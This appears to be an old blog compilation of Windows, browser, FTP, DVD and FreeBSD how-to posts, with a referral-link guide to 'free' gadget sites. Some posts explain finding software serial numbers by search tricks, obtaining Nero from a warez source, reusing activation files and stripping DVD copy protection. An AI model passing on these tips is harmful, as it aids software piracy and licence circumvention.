Greetz to: ReDeeMeR, BarnseyBoy, Reeferman, gabbana, think12, Wang, Enstyne,

[502BOP], Muad_Dib, Macster, n0face, palmito, kph, Homicide, Col,

Axem, Booto, _Penguin, nsh, Chawmp, shad, hellz and everyone in

#CA who are way too numerous to mention.

***************************************************************************

Guide to Slipstreaming Service Pack 2

2008-09-14T03:21:00.001-07:00

DarkLegacy's Guide to Slipstreaming Service Pack 2

Note: All images are hosted with ImageShack.

• This guide will allow you to sucsessfully install Service Pack 2 on the original (gold) code of Microsoft Windows XP.

• The version of Windows you have purchased/downloaded does not matter as far as slipstreaming (they're all the same anyway).

Things you need:

• Microsoft Windows XP (duh :P)

• Service Pack 2:

URL http://download.microsoft.com/download/1/6/5/165b076b-aaa9-443d-84f0-73cf11fdcdf8/WindowsXP-KB835935-SP2-ENU.exe

• Windows XP Boot sector:

http://www.neowin.net/downloads/xpboot.bin

• Nero Burning Rom (find it on SoD)

Step One

Insert the Microsoft Windows XP CD into your CD-ROM drive, and create a new folder on your hard-drive labelled "CD".

Copy all of the files from the Windows XP CD to the "CD" folder.

Step Two

Download Service Pack 2 and place it within the root of your hard-drive.

Ex: C:\ D:\ etc..

Step Three

Go to Start -> Run and type in "F:\WindowsXP-KB835935-SP2-ENU.exe -s:F:\CD" (depending on where you put the folder)

The actual command is -s:drive:\folder

Step Four

The Service Pack 2 updater will automatically slipstream Service Pack 2 into your "CD" folder.

Step Five

If you browse back to the CD folder, you'll notice that new folders and files appeared from the SP2 update. At this point, you can include any software you wish onto this CD, but make sure that the size of the folder does not exceed the media you are burning on. If you're not sure, a regular CD is 700 megabytes.

Step Six

Go to Start and Search for files and folders. Go to all files and folders, and type in "wpa.dbl". This is the activation file for your current installed version of XP. Make a copy of the file and paste it into your CD folder.

Step Seven

Open up Nero Smartstart, and click on the icon that looks like two people. This turns the program into "professional mode". Search for create a bootable CD. Click on it, and make sure that your settings agree with the following picture; also make sure that you downloaded the Windows XP boot sector.

Step Eight

Continue onto the next tab, and make sure that your settings agree with the picture:

Step Nine

In this step, you can label your CD whatever the hell you want. I recommend WXPSP2_EN.

Step Ten

Go to "new" and locate your CD folder. Drag all of the files in the CD folder to the compilation window on the right, and nero will calculate how much disk space was used. If it exceeds 700 MB, get rid of some programs that you added to the CD. If you didn't add anything; just push burn.

Step Eleven

Make sure that your settings check with the picture:

Step Twelve

Just push burn, and that's it! Congradulations, you just made a bootable Win XP CD with SP2 slipstreamed!

Guide For Getting Free Stuff.

2008-09-14T03:20:00.000-07:00

Guide For Getting Free Stuff

Ok, if you are like me you have heard so much about the FreeIpods and FreeFlatScreens websites on different forums, blogs, IM's, etc, you are about to puke. So am I. But yet the draw of getting an Ipod for doing basically nothing is pretty strong. I dismissed all the "stories" of people getting their ipods as the marketing machine at work. However, when Kevin Rose published that not only did he receive his, but a few of his friends did as well, I figured I might take a chance and give it a go. Today I received proof that it does indeed work. Yep, I got my iPod.

Whats in it for them?

Step 1. Collect Names.

Step 2. Send those names items worth $200 or more

Step 3. ?????

Step 4. Profit

Before I signed up, I wanted to get to the bottom of the ?????. I didn't want any sweaty, filth pushing webmonkeys to have all my info, so I did my research. Gratis Internet, the parent company of the FreeIpods, FreeFlatscreens, etc. sites, recently did an interview with Wired Magazine.

In this article Gratis states that they are acting as Head Hunters for companies (more on that later) and are paid between $50-$90 per referral. Although this seems like a lot of money, this is nothing compared to what these companies spend for print advertising which does not guarentee ANY customers. So now we know what ?????? equals. ??????=$50-$90 for Gratis per guranteed customer (referral sites).

How Does it Work?

You sign-up on one (or more) of the following websites:

http://www.FreeMiniMacs.com/?r=14098976

This site gives away free Mini Macs. At the time of this writing only the 80gb MiniMac was available.

http://www.FreeDesktopPC.com/?r=13082204

This site gives away free flat screen monitors and TVs. At the time of this writing the following flat screens were available: Sony 19" LCD, Samsung 15" SyncMaster 510MP LCD TV, Samsung SyncMaster 710N LCD Monitor, Sony 27" FD Trinitron WEGA TV, or a 24" Toshiba TV/VCR/DVD combo

http://www.FreeGamingSystems.com/?r=12660654

This site gives away gaming systems. At the time of this writing the Slim PS2, Xbox, Nintendo Gamecube, and Nintendo DS were available.

http://www.FreeHandbags.com/?r=13950244

This site gives away high-end handbags. Might be a good surprise for your wife or girlfriend. =) At the time of this writing the following bags were available: Prada Mini-Hobo (black, Pink, Powder Blue), Burberry Novacheck Minisling, Coach Signature Demi Pouch (black, camel, purple), Kate Spade Pia Pochette (Black, Pink, Red)

http://www.mp3players4free.com/default.aspx?r=82419

This site gives out free mp3 players. You can get paypal $275, ipod, rio carbon, iriver, ipod mini.

http://www.dvrs4free.com/default.aspx?r=90581

This site gives away TiVo, Replay TV, and $275 paypal.

http://www.macminis4free.com/default.aspx?r=181183

Another mini mac site.

http://www.cameras4free.com/default.aspx?r=90773

This site is giving away high end digital cameras. At the the time of writing this, you follow cams are available: Canon Powershot S1 IS, Sony DSC-P100, Sony DSC-W1, Canon Powershot A95, $325 paypal.

Ok, so here is the tricky part. Once you sign up with one of these websites, you have to complete an "offer" from gratis's advertisers. There are numberous offers, some being better than others. Now remember the ???? = $50 - $90 equation? In order for you to receive your ipod/Flatscreen/Desktop PC/Handbag you have to refer 5, 8, or 10 of your friends, and they have to complete one of the offers as well. Then in order for them to receive theirs they need to refer others, and so on. So lets just look at why they are going to send an Ipod to you. (1(you) + 5(your friends)) x $90 = $540 - $250(ipod) = $290 profit for them just for you signing up. The advertisers are more than willing to pay, and FreeIpods is more than happy to send you your ipod. Works out for everyone.

What is the basic "lingo"?

"ref"/"referral" = The thing required to get your free items. These are your friends.

"green" = Status indicator that means your offer has been completed.

"yellow" = Status indicator that means your offer has yet to be completed or is in the process/pending.

"hold" = Means your account has been suspended or stopped. DON'T CHEAT.

"STV" = Means your product has been "Shipped To Vendor" You should recieve it in about 10 days time.

What process should you use to sign up (to ensure that you will get your item)

When signing up, it is recommended that you use Internet Explorer (sucks) some people have reported problems using other browsers (ex. Firefox, opera, etc.) Also make sure you have cookies accepted.

1. Click on one of the links above and enter a VALID US mailing address.

2. Complete the marketing survey - not your answers do not have any impact on you receiving your item. Just say no to them.

3. Once you have signed up, you should receive a verification email. If you did not receive one, go to the "My Account" page and click the link to have them resend it. If you still did not get it check your spam folder.

4. Sign-up with one of their partners and complete the offer. (see the section which offer should I choose) It can take up to 15 days for your offer to show completed. (A term that we freebie goers use for a "completed offer" is called "credit.") But usually they show completed after 24 hours. Be patient. If it doesn't show up as completed, you can email the site with proof and confirmation for signing up and they will give you credit.

Which offer should I choose?

Just so you know all offers require a credit card, **HOWEVER** not all of them cost anything! =) Here is a list of my recommended offers and I have not had any problems whatsover with doing these.

* Video Professor: This requires a credit card and pay only $3 shipping for computer tutorial CDs. After you receive the CDs, just call customer support and cancel your membership. Return to sender the CDs and they will refund you the shipping costs.

* Complete Home: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Lowes Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* Buyer's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Circuit City Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* Great Fun: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Walkie Talkie just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* Traveler's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Thin Digital Camera just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* eFax Plus: Sign up for their fax service. You get a 30 day free trial. Upon receiving credit for doing the offer, simply cancel the service within the free trial and pay nothing! It usually take 1-3 days to receive credit for this offer.

* Blockbuster Online: Try a two week trial of Blockbuster's Netflix-like service. Cancel online within trial time and pay nothing.

*Zooba: If you are a book fan, sign up for this offer. You get a book for $10 with free shipping. Instant verification.

*Various Credit Card offers: Apply for a credit card and get approved. When it arrives, cut it up and toss it out. Nothing to cancel, nothing to pay, and free stuff to gain!

Many of these offers are big companies, so you do not have to question the legitimacy for signing up under them. In other words, you will be safe because you are giving your credit card information to aol, blockbuster, and general motors, and i highly doubt that they will sell this info.

These are free, as long as you cancel within the trial period. Some offer online cancellations while others require calling their support number. Just tell them that you dont find yourself using their services enough so you want to cancel and they'll cancel your membership without any problems.

Cheating

Many of these free sites take cheating very seriously. If you want your free gift and not have you account suspended, simply DON'T CHEAT! Don't refer yourself and do all the offers yourself. If you think you can cheat the system because you are a 1337 h4x0r and you can use proxies and IP spoofs to refer yourself, DON'T DO IT. When you are in the approval stage, they will intensely throughly examine your account and make sure that all your referrels are legit and unique. Trust me, I know many people who have gotten suspended for attempting to cheat.

Multiple Accounts

This goes under cheating. It is wise not to create multiple accounts under the same site because it is against the free site's TOS. They suspend you no matter what your reason is, even if it was an accident. This also includes referring family members. You can only create one account under one household, under one IP address per site. So you cannot refer mother, sister, or brother to do it unless they live in another household.

So you've ran out of offers to do. What do I do?

Ok, if you are a freebie freak, you will probably eventually run out of offers to do because of the fact that you signed up for so many free sites did all the easy free offers. What shoud you do? Remember that free sites give you credit for a unique signup for the offers. So if you signed up for blockbuster online offer at freeflatscreens, you cannot do it again for another free site such as freedesktoppc. But there is a trick to this. A unique signup = a unique credit card that you used to sign up. So if you have a another credit card, you can sign up for the offer again. Another method is to purchase a visa gift card from your mall, or go to www.webcertificate.com and purchase a virtual debit/credit card and do the offers with those.

If you followed all these steps correctly, your free gift will be delivered to your doorstep in no time.

Here are the steps:

1. Getting friends to sign up under you

2. Approval Stage: They will analyze your account for fraud. Takes 1 week.

3. Pending Stage: Your account have been approved. You are now processing. This will take 1-2 weeks.

4. STV: Sent to Vendor. Your product will arrive in 10 days.

5. Shipped: Congrats!

Most of these freebie sites are for U.S residents only.

Graffiti On Walls 4 Adobe Photoshop Cs 8.0

2008-09-14T03:19:00.000-07:00

Graffiti On Walls 4 Adobe Photoshop Cs 8.0

Graffiti On Wall Tutorial For

Photoshop Cs 8.0

For This Tutorial You Must Have A Basic Understanding Of Adobe Photoshop Cs 8.0, Example : Where The Features Of The Program Are.

CODE

For This Tutorial You Will Need The Font Called Political Graffiti FIll Which Can Be Aquired Here:

http://www.dafont.com/en/font.php?file=political_graft

And

The Starting Wall Picture Which Can be Aquired Here:

http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59054

(1). Open Photoshop Cs 8.0

(2). Open Wall Picture

(3). Type Ur Second Name In Red At 210pt Font Size In The Political Graffiti Fill Font.

(4). Click Icon All The Way At The Topright That Looks Like A T With A Rounded Line Under It. (Warp Text)

(5). Distort Style Squeeze Vertical, Bend = -31%, Horizontal Distortion = +18%, Vertical Distortion = +34%

(6). Layer> Layer Style> Blending Options, General Blending> Opacity 79%> Fill Opacity 100%, Blend If: Gray, Underlying Layer Black 60, White 210

(7). Type Ur First Name In Red At 210pt Font Size In The Political Graffiti Fill Font.

(8). Click Icon All The Way At The Topright That Looks Like A T With A Rounded Line Under It. (Warp Text)

(9). Distort Style Squeeze Vertical, Bend = +50%, Horizontal Distortion = 0%, Vertical Distortion = -31%

(10). Layer> Layer Style> Blending Options, General Blending> Opacity 79%> Fill Opacity 100%, Blend If: Gray, Underlying Layer Black 60, White 210

(11). Duplicate Both Layers

(12). Move Copied Layers One On Top Of The Other (In The Layer Menu)

(13). Hide The Original Ur Second Name And Ur First Name Layers By Clicking The Eye Icons So That They Dissapear.

(14). In The Copies, Right Click (One At A Time) And Click Rasterize Layer.

(15). Go to Layer> Merge Down (Ctrl + E) (On Top Name Layer).

(16). Layer> Layer Style> Stroke Change Color To Black, Size to 8, Then Opacity To 68%.

(17). Save If No Blur Effect Wanted

(18). Filter> Blur> Smart Blur> Mode: Overlay Edges, Threshhold 48%, Radius 6, Quality: High.

(19). Layer> New Layer

(20) Brush Tool (B), Paint Brush With The Soft 16pt Airbrush For Spraypaint Effect.

(21). Smuge Around Graffiti For Paint Smudge Look For Good Effect (Optional)

(22). Save.

Finito

Final Images:

CODE

Graffiti With Blur:

http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59056

Graffiti No Blur:

http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59057

Go to Windows updates anonymously

2008-09-14T03:18:00.000-07:00

Would you like to use the Windows Update feature without being forced to register with Microsoft? OK then, this is what you can do:

Launch good ol' Regedit.

Go down to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion.

Look for a value named RegDone. If it isn't there create a new value with that name.

Right click the new value and choose Modify. Make the value 1.

Close Regedit and

Enjoy!

Firefox Speed Tweaks

2008-09-14T03:17:00.002-07:00

Yes, firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more?

That's the beauty of this program being open source.

Here's what you do:

In the URL bar, type "about:config" and press enter. This will bring up the configuration "menu" where you can change the parameters of Firefox.

Note that these are what I've found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we're going to open up with pipelining… lol… you'd better have a big connection.

Double Click on the following settins and put in the numbers below - for the true / false booleans - they'll change when you double click.

Code:

browser.tabs.showSingleWindowModePrefs - true

network.http.max-connections - 48

network.http.max-connections-per-server - 16

network.http.max-persistent-connections-per-proxy - 8

network.http.max-persistent-connections-per-server - 4

network.http.pipelining - true

network.http.pipelining.maxrequests - 100

network.http.proxy.pipelining - true

network.http.request.timeout - 300

One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it receives. Since you're broadband - it shouldn't have to wait.

Now you should notice you're loading pages MUCH faster now!

Dreamweaver Tut That Teaches U, to search a database with phpmysql

2008-09-14T03:17:00.001-07:00

Ok, this should work...First of all, there is one great extension for DW & PHP ADODB object model that is free and great! Download it and install from www.interakt.ro its called PHAKT (NOT impakt, because its not free)

Install it and you will have another type of PHP ADODB document type

Start project with PHP ADODB (not old PHP MySQL)

Page 1

Create form that has one Editbox and one button.

Name Edit box smething like e.g. "search" without quotes.

That form should have form action="results.php" and type set to POST

Not, create Page 2 and name it results.php. Create new recordset in dw

like this

SELECT *

FROM table

WHERE table.colum.you.r.searching LIKE '%colname%' OR table.other.column LIKE '%colname%' ORDER BY table.tableid

this means that we want to select ALL (*) records in table WHERE content of column is similar (Dav, will return Dave, David, Davidof...) to search keyword.

Next, in variables click + and add variable name colname default value set to % if you want to show all records if form is submited blank, or -1 if You want to show none if form is submited blank. Finaly for Run-time value type $HTTP_POST_VARS['search'] Runtime value is equal name of Edit box name you set up in first page...

Now, from bindings tab, select values and insert it on page, that You would like to show on page. Ill skip this part assuming You know how to format output and how to limit it but if you dont know ask in reply...

So now You have page with results. Test it and see if its working.

If it is, create page 3 and name it details.php. Now, select value from page that you want to link with details page and click on link. Select details.php page and click on parameters. For param name enter something like id since this should be PK in table and unique value, and for value click on lightning icon, and select primary key in your table. In live page link should be like details.php?id=<some_value>.

As for details page recordset it should look like

SELECT *

FROM table

WHERE table.id = 'colname'

create vars as for page 2, but change Runtime to $HTTP_GET_VARS['id']

and format output on page. That should be it, but since im typing it in "realtime" maby i forgot something...

Home I did helped You

Dvd-9 to Dvd+r Dl, Double Layer To Double Layer, 1-1 copies

2008-09-14T03:16:00.001-07:00

Dvd-9 -> Dvd+r Dl, Double Layer To Double Layer!, 1:1 copies

Remove all discs from drives.

Open DVD Decrypter.

From the 'Mode' menu, select 'ISO' -> 'Read'.

Put DVD-9 disc (Thats the film if you didn't guess) in drive.

Take note of the 'Destination' file name.

Click the big 'Decrypt' button.

Wait for it to read and write the image to your hard drive.

Take the DVD-9 disc (yep.. take the original film out) out of the drive.

From the 'Mode' menu, select 'ISO' -> 'Write'.

Put a blank double layer disc in your DVD Writer.

Click the little folder icon - 'Browse for source file' - and select the MDS file created for you as part of the steps above.

Click the big 'Write' button.

Finished!

Estimated time to read and burn 45 minutes. All copy protection is removed from the backup, and as you are writing to a dual layered disc there is no quality loss!!!

This process can be used to backup DVD5 disc's 1:1 and PS2 disc's.

Dvd Copying-ripping Definitions

2008-09-14T03:15:00.001-07:00

Dvd Copying/ripping Definitions

Rip

To take off the audio or video from a CD or DVD. Often CD Audio is "ripped" to MP3 files or DVD video ripped to VOB files.

Compression

The process of removing redundancies in digital data to reduce the amount that must be stored or transmitted. Lossless compression removes only enough redundancy so that the original data can be recreated exactly as it was. Lossy compression sacrifices additional data to achieve greater compression.

Encoding

Encoding is the process of changing data from one form into another according to a set of rules specifiec by a codec. The data is usually a file containing audio, video or still image. Often the encoding is done to make a file compatible with specific hardware (such as a DVD Player) or to compress or reduce the space the data occupies.

Common video encoding methods are DivX, MPEG-1, MPEG-2 and MPEG-4. A common audio encoding method is MP3 although many others exist including MPEG1 audio, DTS, and Dolby Digital.

Transcoding

On this site generally another name for encoding.

A more technical term would be "The reformatting of content, without changing the source, to another type of content - most often of a different format than the original (but does not have to be)"

Easily Find Serial Numbers On Google.., easy to do and works like a charm

2008-09-14T03:14:00.002-07:00

let's pretend you need a serial number for windows xp pro.

in the search bar type in just like this - "Windows XP Professional" 94FBR

the key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.

or if you want to find the serial for winzip 8.1 - "Winzip 8.1" 94FBR

just try it out, it's very quick and it works nicely..

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here is another trick that works fairly decent for finding mp3's on the web (which is hard to do normally, to say the least)

say you want to get, for example, a Garth Brooks song. type this in the search bar - "index of/" "garth brooks" .mp3 the ones you want to check out first are the ones that say "Index of/" in the title of the search result. this technique allows you to easily pull up web folders with direct downloads. it will look the same as if you were logging into a ftp url.. i'm sure you can be pretty flexible on how you type that in, so long as you include "index of/"

i'm sure you can use this for more than just mp3's (it's not perfect but it has worked for me on a few occasions)

always make sure to use the quotations where i placed them. they help pinpoint the correct search results more accurately. just try it out, also if you want to learn how to do more with google look up "google hacks"

Enable Folder and Icon Refresh, Win XP Tweak

2008-09-14T03:14:00.001-07:00

Enable Folder and Icon Refresh

This reg file Enables Folder and Icon Refresh.

1. Copy the following (everything in the box) into notepdad.

QUOTE

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]

"NoNetCrawling"=dword:00000000

2. Save the file as disablerefreshundo.reg

3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

Firefox Tweaks

2008-09-14T03:13:00.001-07:00

Firefox Tweaks

http://www.theforumz.com/forumz/showthread.php?postid=251495#post251495

QUOTE

http://brilliantcorners.org/2004/02/12/make-a-great-browser-even-better

QUOTE

http://www.hicksdesign.co.uk/journal/545/

QUOTE

http://www.tweakfactor.com/articles/tweaks/firefoxtweak/ **Very good**

FlashFXP FAQ

2008-09-14T03:12:00.001-07:00

Frequently Asked Questions

For most updated content, visit our website

Q: What is FXP?

A: FXP is a term adopted by earlier clients which provided site to site FTP transfers.

Q: When trying to transfer files from one site to another I keep getting this error 500 illegal port command.

A: The FTP Server is set up to not allow or doesn't support FXP. Located in the Site Manager on the Advanced tab, you will find the option "alternative fxp method". By enabling upload/download (depending on the direction of the transfer), you may be able to get the server to allow FXP. Note: It is common for some sites to only allow FXP in one direction and not the other. By enabling alternative fxp method, this problem is sometimes solved.

Q: Why do I keep getting this message: "Only client IP address allowed for PORT command" when trying to FXP?

A: The FTP Server is set up to block FXP. In most cases using alternative fxp method doesn't solve this problem.

Q: I've tried everything but I can't get a site to site transfer to work, what is wrong?

A: Site to site transfers are not supported by some software/hardware configurations. Often, this is due to an incompatibility with NAT (Network Address Translation). NAT is not aware of site to site transfers and when it detects you are attempting to transfer a file, it modifies the FTP protocol to match your local "inside" IP. Several users have reported that Microsoft Internet Sharing is not compatible.

Q: Why can't I see any files? I can see them in other ftp clients.

A: There are two possible reasons.

1. You are behind a firewall and the FTP server is unable to connect to your computer. To resolve this issue you need to use Passive mode. This option is located in Preferences on the Proxy tab. Check "Use Passive mode".

2. The files may be hidden on the ftp server, and in order to see them you need to change the list method. This is located in Preferences on the Options tab. Change the List method to show hidden files. Note: some sites don't allow you to view hidden files and will result in an error. To resolve this problem, go into the Site Manager, select the site and click the advanced tab. Uncheck "show hidden files", then save to keep the changes

Q: I can't see the toolbar icons or the icons are messed up.

A: This problem happens on Windows 95 systems when the \Windows\System\ComCtl32.dll file is out of date. This DLL is responsible for drawing the toolbar buttons and their images. You can download the latest version from this link: MS Common Control Update!

Q: When FXPing why doesn't FlashFXP show a file progress, transfer speed or how much time is remaining?

A: The FXP protocol (site to site) doesn't provide any means of measurement. After one file is FXPed, FlashFXP attempts to estimate the remaining time for the next file and total remaining time for all files in the queue.

Q: Will FlashFXP ever support connecting to more then 2 sites?

A: FlashFXP was designed to provide very easy access and usability to the site to site feature. Allowing more than two would only complicate things. For now let's stick with 2.

Q: Why doesn't FlashFXP support Squid?

A: FlashFXP v1.3 now supports it.

Q: Why doesn't FlashFXP download http:// urls from the clipboard?

A: FlashFXP is not a browser or a web download manager. For FlashFXP you need to use the ftp addresses.

Q: Is it possible to import site lists from another FTP clients?

A: Yes, You can import other site lists into FlashFXP from the Site Manager by right-clicking on the site list and selecting Import from the menu.

Q: FlashFXP looks confusing, All I want to do is download and upload files. I don't need site to site transfers.. help!?!

A: We have just the thing for you, With a click of the mouse FlashFXP can transform into your normal looking FTP client. From the main menu select View then click FTP Only. You can always uncheck this later to bring back the power of site to site transfers.

Q: I use ZipMagic and now all of my zips appear as folders in FlashFXP, how can I make the zips appear as zips?

A: You need to make one small change in the ZipMagic Properties window. First, click the Start Menu, then go to Programs|ZipMagic 4.0|ZipMagic Properties. Click the "Zip Folders" button, then click the "Applications" button. Then just add FlashFXP to the list of applications that sees zip files as files.

Q: I purchased FlashFXP v1.x-1.3 and my key doesn't work for v1.4-v2.0!

A: The key format was changed starting with version 1.4. You will need to email support@flashfxp.com and request a new one. New keys are provided free of charge.

Flashget Broadband Tweak

2008-09-14T03:11:00.001-07:00

Flashget Broadband Tweak

Just double-click on the FlashGetRegTweak.reg file to enter the tweak into the registry. This tweak will allow up to 100 simultaneous file downloads, each split into a max of 30 parts. Previous defaults were 8 & 10 respectively.

Note:

1. Works for dialup but not really advantageous.

2. Restart your computer to feel the full advantage of this tweak.

Download:

here it is

just copy to notepad

rename to Iwillsinglehandedlykillallthebandwidthfromtheserversidownloadfrom.reg

REGEDIT5

[HKEY_CURRENT_USER\Software\JetCar\JetCar\General]

"Max Parallel Num"="100"

"MaxSimJobs"="100"

FLASHGET INTEGRATION IN OPERA,MOZILLA,NETSCAPE

2008-09-14T03:07:00.002-07:00

1ST -> DOWNLOAD THIS: http://www.amazesoft.com/npfg11.exe

THEN:

Opera5&6 & Netscape6.x, 7.x, Mozilla 1.x and Mozilla Firefox 0.x

Please download FlashGet Opera Plug-in 1.1. Install this plug-in into ...\Opera\Plugins or ...\Netscape6\Plugins or ..\Mozilla\Plugins or ..\FireFox\plugins directory.

Netscape 6 does not support the same click monitoring methods used by FlashGet with previous versions of Netscape. They left out the features that have been there since Netscape Version 1.0. For now, you must either:

Right click the links and do "Copy Link Location".

Or, the plugins used for FlashGet's Opera click monitoring do work in Netscape--with some quirks and differences from the other click monitoring. Just install FlashGet's Opera plugins into the ...\Netscape\Plugins directory.

Menuitem "Download by FlashGet" in Mozilla FireFox

FlashGot is an extension for integrating FlashGet and Mozilla Firefox 0.9 or later. It is available on Mozilla Update. Note that some antivirus software may incorrecly claim that it has a virus, as it uses Visual Basic Script (.vbs) files when integrating with Internet Explorer. Thanks Giorgio Maone.

Menuitem "Download by FlashGet" in Opera

see How Customizing Opera's context-menus.

Opera 7

Install this plug-in into ...\Opera7\Plugins and enable it in Opera(Menu->File->Preferences...)

NetCaptor

Must use monitor method 2 in FlashGet(default setting), also need enable "Brower help object" in netcaptor options/general.

2: MENU ITEM -> DOWNLOAD USING FLASHGET!!!

Customizing Opera's context-menus

=================================

Build #040912

What's this about?

~~~~~~~~~~~~~~~~~~

Using Opera 7.x one is able to customize the rightclick menus. That in

mind it's possible to add a menu item for "Download using FlashGet".

First you need to know, that every kind of menu entry in Opera is

saved as plaintext in standard_menu.ini in the Opera defaults folder

(normally C:\Program Files\Opera7\defaults). So, we need to modify this

file in order to add our FlashGet menu extension.

Requirements

~~~~~~~~~~~~

- Opera 7.0 or above

- FlashGet 1.60 or above

Here we go!

~~~~~~~~~~~

1) Get the folder where Opera is installed. See the registry at

[HKLM\SOFTWARE\Netscape\Netscape Navigator\5.0, Opera\Main]

"Install Directory"="C:\\Program Files\\Opera7"

From here on I will use %opera% instead of the whole path we got

from the registry since we need to save this info into a variable

to use it in our program.

ATTENTION! Be sure to not use this variable in any files we modify!

Always use the whole path we got from the registry. Otherwise it

will mess up your Opera installation!

2) Goto this folder and copy

%opera%\defaults\standard_menu.ini

%opera%\profile\menu\standard_menu.ini

3) Open this file with a text editor and change the following:

- change the name (line 7) into "Opera Standard with FlashGet extension"

- search for the categories

"[Link Popup Menu]" and "[Image Link Popup Menu]"

and add the following line to both categories:

Item, "Download using FlashGet" = Execute program, "C:\Program Files\FlashGet\flashget.exe","%l"

That is a lowercase L after the last %

- save the file and start Opera

4) Goto "File/Preferences/Toolbars and Menus". In newer versions

it's called "Extra's/Preferences/Toolbars and Menus" and highlight

the new entry "Opera Standard with FlashGet extension" in the field

"Menu setup"

5) Press "OK" and that's it! Now you can download link-targets (both

text- AND image-links) by right-clicking on a link and choose

"Download using FlashGet".

Hint:

~~~~~

You can skip 4) and 5) if you add the following line into section [User Prefs]

of the file %opera%\profile\opera6.ini

Menu Configuration=%opera%\profile\menu\standard_menu.ini

This can easily be done using Nullsoft's NSIS Installer 2.0.

Get it from www.nullsoft.com

Freebsd Install Guide

2008-09-14T03:07:00.001-07:00

A step-by-step guide to installing FreeBSD 5. It assumes moderate experience with linux and leaves you with a fully updated FreeBSD system.

FreeBSD Installation

A. 5.x vs 4.x

The first thing to understand about FreeBSD is that there are two lines of development. The -STABLE branch is marked with a 4.x version number and the most recent version is 4.10. It is well tested and very solid, but does not include the most recent technology. The -CURRENT branch, marked with a 5.x version, is the "unstable" branch. However, it is nicely stable at the moment and is coming along quite well. Most users should go with 5.x and these instructions are only valid for that tree.

NOTE: DragonFlyBSD ( www.dragonflybsd.org ) is a continuation of the 4.x line. It uses lock-less (no mutexes) SMP support and a Light Weight Kernel Threading system. It has a lot of promise and is developing at a breakneck pace, but it should still be thought of as "R/D."

B. Getting Media

I am not going to say much about this. There are links to various ftp mirrors at www.freebsd.org and the directory structure is fairly self-explanatory. There are however several choices for ISO. You should choose the miniinst ISO. It is small and will include everything you need for the base system.

C. Starting Installation

After, the CD boots up you will enter the...ahh.....majestic sysinstall. You can safely ignore most of the options and just choose a standard installation. Most of the install process is pretty easy and anyone who has some experience with linux or unix will be able to handle it without much stress. However, creating partitions and dealing with drives will seem very odd to your standard linux user.

D. Hard Disc Management in FreeBSD

Ok, the first thing to get used to here is that IDE drives are not hda, hdb...etc. They are ad0, ad1 and so forth. SCSI discs are da0, da1...and so on. There is one other thing that is going to freak some people out. You create slices, not partitions, on the disc and then create partitions within those slices. For example, the first partition in the first slice on the first IDE disc would be ad0s1a. Just accept it.

E. Partitioning

Sysinstall will lead you through the partitioning and its fairly easy to understand. The first part will ask you to choose a disc or discs to partition and then will show you a "slice editor." This is where you will create your slice. I advise you to only make one. While multiple slices are easy to deal with, it just adds complication. If this is not your first installation of a BSD type OS, then you can ignore me and why are you reading this again?

After creating your slice, you will be prompted to choose the drive(s) to install an MBR on. The FreeBSD boot loader is nothing to write home about, but it tends towards working. After this step, you can create partitions. There is not much to say here. At the top of the screen it will show your slice(s) and when one of them is selected you can use the controls to create a partition on it. You will need at least a root and swap partition. On the non-swap partitions it is usually a good idea to enable soft-updates.

F. Distribution Sets

This is a simple section, select minimal.

G. Continue Installation

The rest of this is pretty simple. Make sure you install from the CD and not the Internet. The bulk of the install is now done. After it copies files to your disc, it will start the configuration process. This is all pretty self-evident, but there are a couple things you should know.

Network Configuration

Don't be scared by the names, in *BSD devices are named after their drivers. There is also a short description after the name, so you should be able to choose the right one. The rest of the network config is easy, just follow the prompts.

System Console Configuration

You can pretty much ignore this, you may want to look around for your own knowledge and of course you could pick a nice screen saver here, but other then that I would leave it alone for now.

Time Zone

All I have to say here is that if you live in the US, after you choose "America - North and South" hit the end key. The US is at the bottom of the list and hitting end is the quickest way there.

Linux

Say no, we will do this later and with an updated linux_base.

Mouse

OK, welcome to the wonderful and amazing world of moused. Answer the first question truthfully, and then you can tweak the settings in the "Please configure your mouse" dialog. Whatever you do, be sure to enable the daemon. Also, for most users that is all you will have to do. You can safely ignore the other options.

Package Installation

At this point, the installer will ask you to install binary packages. Say no. These binaries are out of date and not included on our CD.

Of users and roots

This isn't the most thrilling section, add a user when it asks you to and set a root password after that. The only thing I have to say about this process is when the new user dialog comes up leave the "Group:" box unchanged and add "wheel" to the Member groups. You also might want to set your shell to /bin/tcsh. As for setting the root password, if you can't handle that we have bigger problems.

Rebooting

Ok, next it will ask if you would like to visit the general config area. Select no and you will be brought back to the main menu. Exit the install, reboot without the CD in and enjoy the boot messages.

H. The Real Post-Install

At this point, I am going to assume that you are now looking at a login prompt and thinking "my my...FreeBSD boots quite quickly doesn't it." Well, our task is not done yet...there is a reason we did a minimal install. We are going to do most of it ourselves. First, lets upgrade to -CURRENT. This isn't a practice I would usually recommend, but 5.x is close to being tagged stable and -CURRENT is rather solid at the moment. First, I need to explain how things are done in the BSD world.

Sup?

